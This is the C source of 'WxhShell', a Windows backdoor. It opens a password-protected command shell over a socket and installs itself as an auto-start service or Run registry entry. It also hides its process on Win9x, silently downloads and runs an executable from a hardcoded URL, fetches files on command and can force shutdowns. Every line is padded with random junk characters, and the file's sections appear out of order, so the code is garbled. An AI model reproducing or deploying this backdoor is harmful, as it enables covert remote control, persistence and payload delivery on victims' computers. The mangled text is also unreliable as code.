    if(Boot(SHUTDOWN)) L Tm2G4+]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XFVE>/H  
    else { fh&nu"&  
    closesocket(wsh); '|6]_   
    ExitThread(0); K(e$esLs-  
    } 1SQ3-WU s  
    break; Ljm[?*H#  
    } V@.Ior}w  
  // 获取shell ih-#5M@  
  case 's': { gMi0FO'  
    CmdShell(wsh); //up5R_nx  
    closesocket(wsh); kYE9M8s;  
    ExitThread(0); >4x(e\B  
    break; { T/[cu<  
  } T= 80,  
  // 退出 \i>?q   
  case 'x': { Fk&c=V;SU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x /(^7#u,  
    CloseIt(wsh); 2lZ Q)   
    break; u74[>^  
    } `z}?"BW|  
  // 离开 hE:9{;Gf  
  case 'q': { ; }I:\P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |MTnH/|  
    closesocket(wsh); )NW)R*m~D  
    WSACleanup(); c8 )DuJ#U  
    exit(1); 0Uz"^xO["  
    break; >.Pnkx*  
        } L8@f-Kk  
  } c`)\Pb/O  
  } etQCzYIhn  
udK%>  
  // 提示信息 w0 M>[ 4  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1;bh^WMJ  
} >%_\;svZG  
  } pHGYQ;:L  
B B{$&Oh  
  return; ]6,\r"  
} x`eo"5.$  
1 &jc/*Z"  
// shell模块句柄 M/B_#yK  
int CmdShell(SOCKET sock) RXMISt3+{y  
{ tH@Erh|%  
STARTUPINFO si; #Qw0&kM7I  
ZeroMemory(&si,sizeof(si)); .fqN|[>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c1(RuP:S  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .|KyNBn  
PROCESS_INFORMATION ProcessInfo; BiLY(1,  
char cmdline[]="cmd"; kM l+yli3c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G<z wv3  
  return 0; EmWn%eMN  
} AG nxYV"p  
vQG5*pR*w  
// 自身启动模式 |u% )gk  
int StartFromService(void) P-_6wfg,;>  
{ 6xmZXp d!  
typedef struct 3lL-)<0A(  
{ F}yW/  
  DWORD ExitStatus; ](]i 'fE>  
  DWORD PebBaseAddress; [-1^-bb  
  DWORD AffinityMask; @}u*|P*  
  DWORD BasePriority; h%na>G  
  ULONG UniqueProcessId; AEI>\Y  
  ULONG InheritedFromUniqueProcessId; oN~&_*FE  
}   PROCESS_BASIC_INFORMATION; T3.&R#1M8-  
caR<Kb:;*  
PROCNTQSIP NtQueryInformationProcess; VOsR An/N  
IxN9&xa  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XAKs0*J>  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h]&GLb&<?  
hg]]Ok~cAs  
  HANDLE             hProcess; 3PWL@>zi  
  PROCESS_BASIC_INFORMATION pbi; W &W5lArr  
#<"~~2?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JPI3[.o  
  if(NULL == hInst ) return 0; |)DGkOtd  
HXC ;Np  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ITXa&5D  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fSj5ZsO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !RS}NS  
lN 4oW3QT  
  if (!NtQueryInformationProcess) return 0; fCn^=8KOZ  
r| wS<cA2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s-!ArB,  
  if(!hProcess) return 0; #powub  
z]y.W`i   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~8Fk(E_  
;\dBfP  
  CloseHandle(hProcess); Z9ZPr?C=  
+4~_Ei[i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {%5eMyF#  
if(hProcess==NULL) return 0; ?3`UbN:  
:K,i\  
HMODULE hMod; T@B/xAq5!  
char procName[255]; U[-o> W#  
unsigned long cbNeeded; 9MJG;+B~  
2%Ri,4SRb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]L.O8  
q'F+OQb1  
  CloseHandle(hProcess); 3AtGy'NTp  
r.&Vw|*>  
if(strstr(procName,"services")) return 1; // 以服务启动 [#vH'y  
hp X9[3  
  return 0; // 注册表启动 B)g[3gQ  
} N0Lw}@p  
!dnH 7 "  
// 主模块 OU_gdp  
int StartWxhshell(LPSTR lpCmdLine) M#6W(|V/  
{ 7hcYD!DS  
  SOCKET wsl; <oV(7  
BOOL val=TRUE; 7M~K,E(7~  
  int port=0; s WvBv  
  struct sockaddr_in door; ,AFu C <  
lIS-4QX1  
  if(wscfg.ws_autoins) Install(); e{K 215  
-zgI_u9=EB  
port=atoi(lpCmdLine); 7t0=[i  
bl;1i@Z*M  
if(port<=0) port=wscfg.ws_port; Z]Cq3~l  
I-*S&SiXjI  
  WSADATA data; #&aqKV Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3z?> j]  
 skViMo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D2 eckLT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D?_Zl;bQ'^  
  door.sin_family = AF_INET; }@+0/W?\.  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YnAm{YyI  
  door.sin_port = htons(port); lvz7#f L~  
azp):*f("  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <{cQM$ #  
closesocket(wsl); \'D0'\:vz  
return 1; !CT5!5T  
} Qd$nH8EDY  
Rtl"Ub@HV  
  if(listen(wsl,2) == INVALID_SOCKET) { =s2*H8]  
closesocket(wsl); `(V3:F("@  
return 1; q"J]%zO  
} sIGMA$EK  
  Wxhshell(wsl); S`0(*A[W*  
  WSACleanup(); u|TeE\0  
a~}OZ&PG  
return 0; 1};Stai'  
\&3+D8H>n  
} zP8lN(LA  
5x4yyb'  
// 以NT服务方式启动 Id .nu/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pJ"qu,w  
{ M`!H"R7  
DWORD   status = 0; P@Oo$ o  
  DWORD   specificError = 0xfffffff; W+?4jwqw  
Ckuh:bs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <uw9DU7G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x2\qXN/R  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; om z  
  serviceStatus.dwWin32ExitCode     = 0; [!#L6&:a8  
  serviceStatus.dwServiceSpecificExitCode = 0; K`zdc`/  
  serviceStatus.dwCheckPoint       = 0; m@v\(rT.  
  serviceStatus.dwWaitHint       = 0; K=h9Ce  
/]Md~=yNp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h2]P]@nW;W  
  if (hServiceStatusHandle==0) return; SsDmoEeB[  
~IBP|)WA-  
status = GetLastError(); qiBVG H  
  if (status!=NO_ERROR) }@q`%uzi  
{ 8^+%I/S$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  {Gk1vcq  
    serviceStatus.dwCheckPoint       = 0; ZG8DIV\D7  
    serviceStatus.dwWaitHint       = 0; D.u{~  
    serviceStatus.dwWin32ExitCode     = status; mL{6L?  
    serviceStatus.dwServiceSpecificExitCode = specificError; 0 ZKx<]!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {ROVvs`  
    return; Vv=. -&'  
  } |3"KK  
PB*&aYLU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~P **O~  
  serviceStatus.dwCheckPoint       = 0; :{l_FY436  
  serviceStatus.dwWaitHint       = 0; #r\4sVg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .|fH y  
} 4!yzsPJL  
`mJ6K&t$<  
// 处理NT服务事件,比如:启动、停止 j>"@,B g*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J<h $ wM  
{ `l[c_%Bm  
switch(fdwControl) .?sx&2R2  
{ SZ'R59Ee<  
case SERVICE_CONTROL_STOP: flbd0NB  
  serviceStatus.dwWin32ExitCode = 0; ;$wVu|&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !?h;wR  
  serviceStatus.dwCheckPoint   = 0; >SHhAEF  
  serviceStatus.dwWaitHint     = 0; iz PDd{[  
  { z$. 88 ^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K Z91-  
  } n 0L^e  
  return; c-6?2\]j@  
case SERVICE_CONTROL_PAUSE: =X:Y,?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E*K;H8}s  
  break; _A9AEi'.  
case SERVICE_CONTROL_CONTINUE: zHRplm+ i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xfe+n$~ c  
  break; _)m]_eS._  
case SERVICE_CONTROL_INTERROGATE: r[iflBP  
  break; Ai3*QX  
}; tg4pyW <  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Eo]xNn/g  
} UySZbmP48  
VuZuS6~#J  
// 标准应用程序主函数 g1"kTh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Dp-z[]})1  
{ ]Q)OL  
DsCcK3 k  
// 获取操作系统版本 uz jU2  
OsIsNt=GetOsVer(); @`- 4G2IU}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JP [K;/  
y}ev ,j  
  // 从命令行安装 c4eBt))}V  
  if(strpbrk(lpCmdLine,"iI")) Install(); T+H!_ky`A  
JU&c.p /  
  // 下载执行文件 `Eo.v#<  
if(wscfg.ws_downexe) { i$ 6ypuc  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pw"-S?`(  
  WinExec(wscfg.ws_filenam,SW_HIDE); ; )@~  
} _F|Ek;y%  
sS'm!7*(3  
if(!OsIsNt) { T}v4*O.,  
// 如果时win9x,隐藏进程并且设置为注册表启动 cU!vsdR3  
HideProc(); [5Mr@f4I  
StartWxhshell(lpCmdLine); ~U&AI1t+J  
} [?N~s:}  
else Cj lk  
  if(StartFromService()) ar+9\  
  // 以服务方式启动 x7<K<k;s  
  StartServiceCtrlDispatcher(DispatchTable); 0)Wltw~`&  
else @Z:l62l=bE  
  // 普通方式启动 6A+nS=  
  StartWxhshell(lpCmdLine); mtcw#D  
T!)(Dv8@F  
return 0; PIS2Ed]  
} -k"/X8  
P8/0H(,  
>e5 qv(y]  
-;WGS o  
=========================================== B>P{A7Q  
uiR8,H9*M  
5vnrA'BhBU  
~6LN6}~|.  
@*KZ}i@._  
5 #E`=C%  
" &`2)V;t  
8$Y9ORs4  
#include <stdio.h> Vp@?^imL  
#include <string.h> JYHl,HH#z  
#include <windows.h> 3eQ&F~S  
#include <winsock2.h> AFE~ v\Gz  
#include <winsvc.h> 8VXH+5's  
#include <urlmon.h> 8&b,qQ~  
tf`^v6m%]  
#pragma comment (lib, "Ws2_32.lib") ds[|   
#pragma comment (lib, "urlmon.lib") qF;|bF  
9V*qQS5<p  
#define MAX_USER   100 // 最大客户端连接数 /hyN;.hpOO  
#define BUF_SOCK   200 // sock buffer *VxgARIL  
#define KEY_BUFF   255 // 输入 buffer i?^L/b`H  
=U?dbSf1*  
#define REBOOT     0   // 重启 j/?kL{B  
#define SHUTDOWN   1   // 关机 X$W~mQma6  
fVpMx4&F   
#define DEF_PORT   5000 // 监听端口 u;2[AQ.  
GC}==^1  
#define REG_LEN     16   // 注册表键长度 L) T (<  
#define SVC_LEN     80   // NT服务名长度 Qh\60f>0  
a<bwzX|.  
// 从dll定义API T1=fNF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d>qY{Fdz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'm kLCS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &&>ekG 9@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); VRB;$  
^s"R$?;h  
// wxhshell配置信息 5VU2[ \  
struct WSCFG { Y`a3tO=Pd  
  int ws_port;         // 监听端口 {F.[&/A  
  char ws_passstr[REG_LEN]; // 口令 nZYBE030  
  int ws_autoins;       // 安装标记, 1=yes 0=no E$p+}sP(C  
  char ws_regname[REG_LEN]; // 注册表键名 kMN~Y  
  char ws_svcname[REG_LEN]; // 服务名 k\?Ii<m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &0JI!bR(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k@W1-D?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Lt>IX")  
int ws_downexe;       // 下载执行标记, 1=yes 0=no HLG"a3tt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 61'XgkacDS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7J<5f)  
6qnzBA7  
}; c9h6C  
Wvf ^N(  
// default Wxhshell configuration C1QA)E['V  
struct WSCFG wscfg={DEF_PORT, E hMNap}5"  
    "xuhuanlingzhe", z-)O9PV  
    1, Lw>N rY(Y  
    "Wxhshell", BnasI;yWb  
    "Wxhshell", #S"nF@   
            "WxhShell Service", *gWwALGo5  
    "Wrsky Windows CmdShell Service", ?.BC#S)q1  
    "Please Input Your Password: ", p0vVkdd  
  1, c5GuM|*7  
  "http://www.wrsky.com/wxhshell.exe", :"/d|i`T  
  "Wxhshell.exe" ;NITc  
    }; 9'bwWBf7  
R8'RA%O9J  
// 消息定义模块 v` 1lxX'*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _I5Y"o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P/_['7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j&qub_j"xX  
char *msg_ws_ext="\n\rExit."; -(H0>Ap  
char *msg_ws_end="\n\rQuit."; %1+4_g9  
char *msg_ws_boot="\n\rReboot..."; (SAs-  
char *msg_ws_poff="\n\rShutdown..."; Rnq7LGy  
char *msg_ws_down="\n\rSave to "; c{w2Gt!  
qlPT Ll  
char *msg_ws_err="\n\rErr!"; 0LJv'  
char *msg_ws_ok="\n\rOK!"; $6poFo)U+  
f ) L  
char ExeFile[MAX_PATH]; >~0Z& d  
int nUser = 0; qUb&   
HANDLE handles[MAX_USER]; t"oeQ*d%  
int OsIsNt; }@d@3  
IW] rb/H  
SERVICE_STATUS       serviceStatus; j?4qO]_Wx+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;;/{xvQ.1  
;9QEK]@  
// 函数声明 `r 3  
int Install(void); jAlv`uB|G"  
int Uninstall(void); ; BHtCuY  
int DownloadFile(char *sURL, SOCKET wsh); >i?oC^QM  
int Boot(int flag); O?#7N[7  
void HideProc(void); 4{|"7/PE1  
int GetOsVer(void); \ @2R9,9E  
int Wxhshell(SOCKET wsl); DZtsy!xA  
void TalkWithClient(void *cs); ;Q`lNFa  
int CmdShell(SOCKET sock); a0H+.W+]  
int StartFromService(void); 67FWa   
int StartWxhshell(LPSTR lpCmdLine); 7WzxA=*#  
)zDCu`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); & wDs6xq  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  o-B$J?  
5*u+q2\F  
// 数据结构和表定义 kb!%-k  
SERVICE_TABLE_ENTRY DispatchTable[] = 5wU]!bxr  
{ SQ+Gvq%Q]  
{wscfg.ws_svcname, NTServiceMain}, ) ;Y;Q  
{NULL, NULL} iuul7VR-%  
}; Dk51z@  
'i|YlMFIg  
// 自我安装 <t!W5q  
int Install(void) P?P#RhvA1  
{ )MT}+ai  
  char svExeFile[MAX_PATH]; tw)mepwB  
  HKEY key; ^E>3|du]O  
  strcpy(svExeFile,ExeFile); ~WF\  
+D*Z_Yh6  
// 如果是win9x系统,修改注册表设为自启动 :e+jU5;]3  
if(!OsIsNt) { C~exi[3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -M#Wt`6A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +R75v)  
  RegCloseKey(key); J C}D` h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h 'nY3GrU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a(ZcmYzXU  
  RegCloseKey(key); j3ls3H&  
  return 0; +:/%3}`  
    } 2y1Sne=<Kb  
  } %^6F_F_jS  
} AFt s(  
else { NDokSw-  
#~=Ry H  
// 如果是NT以上系统,安装为系统服务 86a\+Kz%%L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <9b &<K:  
if (schSCManager!=0) */S_Icf  
{ *|HY>U.  
  SC_HANDLE schService = CreateService E _|<jy$`  
  ( E=O\0!F|b  
  schSCManager, :.`2^  
  wscfg.ws_svcname, <(!:$  
  wscfg.ws_svcdisp, ql~J8G9  
  SERVICE_ALL_ACCESS, `uTmw^pZX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >=w)x,0yX  
  SERVICE_AUTO_START, fI|$K )K  
  SERVICE_ERROR_NORMAL, dqcL]e  
  svExeFile, ]hV*r@d  
  NULL,  4Wp=y  
  NULL, AbOf6%Env  
  NULL, 7a}k  
  NULL, I5W~g.<6  
  NULL gnHbb-<i,  
  ); asqV~n  
  if (schService!=0) f%8C!W]Dm  
  { $<OD31T  
  CloseServiceHandle(schService); TkF[x%o  
  CloseServiceHandle(schSCManager); ~F#j#n(=`q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MWh6]gGs  
  strcat(svExeFile,wscfg.ws_svcname); &xExyz~`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?&uu[y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8xMX  
  RegCloseKey(key); dQG=G%W  
  return 0; -I%5$`z  
    } gI`m.EH}}N  
  } YchH~m|  
  CloseServiceHandle(schSCManager); H%{+QwzZ[j  
} U%/+B]6jP  
} ^kSqsT"  
!TcJ)0   
return 1; Kf-JcBsrT  
} &6k3*dq  
DIUjn;>k8  
// 自我卸载 /Gfw8g\}  
int Uninstall(void) 'E.w=7z&  
{ P+HXn8@  
  HKEY key; *n"{J(Jt`  
bQ5\ ]5M  
if(!OsIsNt) { 4`=m u}Y2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wS3'?PRX  
  RegDeleteValue(key,wscfg.ws_regname); {Hk}Kow  
  RegCloseKey(key); #Rr%:\*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "^iYLQOC  
  RegDeleteValue(key,wscfg.ws_regname); FE;x8(;W8  
  RegCloseKey(key); 8a"%0d#  
  return 0; S`]k>' l  
  } n._-! WI  
} [1H^3g '  
} Z$? #  
else { M"To&?OI  
Jfl!#UAD|n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K"@M,8hb  
if (schSCManager!=0) An/|+r\  
{ j*m%*_kO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .5{ab\_af  
  if (schService!=0) r:TH]hs12+  
  { Oa>Ppldeg  
  if(DeleteService(schService)!=0) { _h1mF<\ X^  
  CloseServiceHandle(schService); ygl0k \  
  CloseServiceHandle(schSCManager); 8Xs8A.  
  return 0; 7E!5G2XX~~  
  } g< .qUBPKX  
  CloseServiceHandle(schService); UJ6v(:z <  
  } C+&l< fM&  
  CloseServiceHandle(schSCManager); B4 }bVjs  
} ZqO^f*F>h  
} lU8Hd|@-  
7"D.L-H  
return 1; |]*/R^1>2  
} "U"Z 3 *  
%ULr8)R;  
// 从指定url下载文件 mpJ#:}n  
int DownloadFile(char *sURL, SOCKET wsh) "kqPmeI  
{ Aq7osU1B  
  HRESULT hr; ufT`"i  
char seps[]= "/"; r" ,GC]  
char *token; S ByW[JE  
char *file; ]e@Oiq  
char myURL[MAX_PATH]; BIL Lq8)  
char myFILE[MAX_PATH]; \dQNLLg/  
Nda *L|  
strcpy(myURL,sURL); r]36z X v  
  token=strtok(myURL,seps); m`r(p"  
  while(token!=NULL) JqiP>4Uwm^  
  { VyGJ=[ ]  
    file=token; 8)I^ t81  
  token=strtok(NULL,seps); 3? +Hd  
  } [ !OxZ!  
H<N,%G  
GetCurrentDirectory(MAX_PATH,myFILE); "snw4if  
strcat(myFILE, "\\"); cYt!n5w~W  
strcat(myFILE, file); A3@6N(  
  send(wsh,myFILE,strlen(myFILE),0); ?6Y?a2 |  
send(wsh,"...",3,0); PwLZkr@4^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !C: $?oU  
  if(hr==S_OK) 83q6Sv  
return 0; J7p),[>I<  
else ^gnZ+`3  
return 1; n ?Nt6U  
8X|-rM{  
} ^J;bso`  
b SU~XGPB  
// 系统电源模块 I2 P@L?h  
int Boot(int flag) ~Jz6O U*z  
{ "#\ ;H$+  
  HANDLE hToken; n6a`;0f[R  
  TOKEN_PRIVILEGES tkp; 'q:`? nJ^  
Ek]'km!  
  if(OsIsNt) { e^D]EA ]%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); em N*l]N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0:Ol7  
    tkp.PrivilegeCount = 1; )hfpwdQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6,{$J  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Z?m3~L9L2  
if(flag==REBOOT) { G<v&4/\p`M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y_lU=(%Jd  
  return 0; ;;N9>M?b  
} 6jLCU%^  
else { kpN)zxfk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;MdlwQ$`  
  return 0; j#q-^h3H  
} 0Z{ZO*rK  
  } q5)O%l!  
  else { G*P#]eO  
if(flag==REBOOT) { 81 sG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) HCC#j9UN6  
  return 0; o:Sa, !DK  
} JrRH\+4K  
else { wEvVL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P\rg" 3  
  return 0; ,wAF:7'  
} ZX./P0  
} 5taT5?n2  
_^%,x  
return 1; ExL0?FemWV  
} Cd}<a?m,  
'kO!^6=4M  
// win9x进程隐藏模块 nk' s_a*Z  
void HideProc(void) ~%kkeh\j  
{ ou{2@"  
mSl.mi(JiZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [j/9neaye  
  if ( hKernel != NULL ) hy"\RW  
  { Od,qbU4O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1ztG;\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R)s:rJQ=p  
    FreeLibrary(hKernel); *d4 eK+U$5  
  } Wf>R&o6tr  
-Cc^d!::  
return; |"CZT#  
} _H7x9 y=  
PmEsN&YP]  
// 获取操作系统版本 ra gXn  
int GetOsVer(void) XrGglBIV  
{ ,w:U#r~s"  
  OSVERSIONINFO winfo; v\%HPMlh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -3Z,EaG^  
  GetVersionEx(&winfo);  < !C)x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~YWQ2]  
  return 1; w;:*P  
  else j[J-f@F \Y  
  return 0; /dI&o,sA  
} X[BIA+6  
~H<6gN<j(.  
// 客户端句柄模块 Gk&)08  
int Wxhshell(SOCKET wsl) b&N'C9/8  
{ LxSpctiNx  
  SOCKET wsh; 9ZsVy  
  struct sockaddr_in client; fW1CFRHH  
  DWORD myID; 3J|F?M"N7  
`MN4uC  
  while(nUser<MAX_USER) ,77d(bR<  
{ CXx*_@}MU  
  int nSize=sizeof(client); \\H}`0m:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ed df2;-.  
  if(wsh==INVALID_SOCKET) return 1; j[G  
Nv}=L : E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WH@,kH@  
if(handles[nUser]==0) Zbt.t] N  
  closesocket(wsh); '9Xu p  
else vDhh>x(  
  nUser++; i0kak`x0  
  } }t=!(GOb}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); pis`$_kmwV  
UapC"XYJ  
  return 0; g-</ua(j  
}  JWhdMU  
Val|n*%  
// 关闭 socket gpvYb7Of0  
void CloseIt(SOCKET wsh) kY|utoAP  
{ H.|#c^I  
closesocket(wsh); (Ag1 6  
nUser--; FF(#]vz'  
ExitThread(0); `O!X((  
} /h H  
lH x^D;m6  
// 客户端请求句柄 RYQR(v  
void TalkWithClient(void *cs) SpLzm A  
{ rv^@,8vq  
n&;85IF1  
  SOCKET wsh=(SOCKET)cs; TA`1U;c{n  
  char pwd[SVC_LEN]; =_ ./~  
  char cmd[KEY_BUFF]; (ybI\UI  
char chr[1]; WwBOM~/`2  
int i,j; ;!mzyb*  
L:pYn_  
  while (nUser < MAX_USER) { qYjce]c  
2W96Zju\  
if(wscfg.ws_passstr) { HV!m8k=6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JPc+rfF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $%CF8\0  
  //ZeroMemory(pwd,KEY_BUFF); sV{,S>s   
      i=0; Sw8]EH6  
  while(i<SVC_LEN) { r6MMCJ|G  
3G)#5 Lf<  
  // 设置超时 7u S~MW  
  fd_set FdRead; ?GoR^p #p  
  struct timeval TimeOut; RXpw!  
  FD_ZERO(&FdRead); rb2S7k0{  
  FD_SET(wsh,&FdRead); Jr ,;>   
  TimeOut.tv_sec=8; D3Ig>gKo?m  
  TimeOut.tv_usec=0; ug!s7fo^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J6s`'gFns  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qo90t{|c  
Ustv{:7v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nQX:T;WL@  
  pwd=chr[0]; uD$u2  
  if(chr[0]==0xd || chr[0]==0xa) { hk(ZM#Bh  
  pwd=0; 0neoE E  
  break; -aPg#ub  
  } ? Wr+Q  
  i++; b8`)y<7  
    } HZzDVCU  
G_3O]BMKd)  
  // 如果是非法用户,关闭 socket iZ3IdiZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /7nb,!~~l  
} 3nIU1e  
fo*2:?K&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H1pO!>M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /yDz/>ID\  
cz#rb*b  
while(1) { 6y%qVx#!  
c)TPM/>(p  
  ZeroMemory(cmd,KEY_BUFF); *v jmy/3  
h:b)Wr  
      // 自动支持客户端 telnet标准   N ,'GN[s  
  j=0; B4c]}r+  
  while(j<KEY_BUFF) { |"X*@s\'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8`q:Gz=M\  
  cmd[j]=chr[0]; rxgbV.tx  
  if(chr[0]==0xa || chr[0]==0xd) { =r?hg GWe  
  cmd[j]=0; | C;=-|  
  break; Z58 X5"  
  } ?>D+ge  
  j++; (Du@ S  
    } Zw 26  
~rE|%o  
  // 下载文件 ?mwt~_s9  
  if(strstr(cmd,"http://")) { 9-VNp;V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -j# 2}[J7  
  if(DownloadFile(cmd,wsh)) iW]j9}t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v}}F,c(f  
  else :}L[sl\R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ajbA\/\G;  
  } sQ UM~HD\a  
  else { ?(' wn<  
GfxZ'VIn  
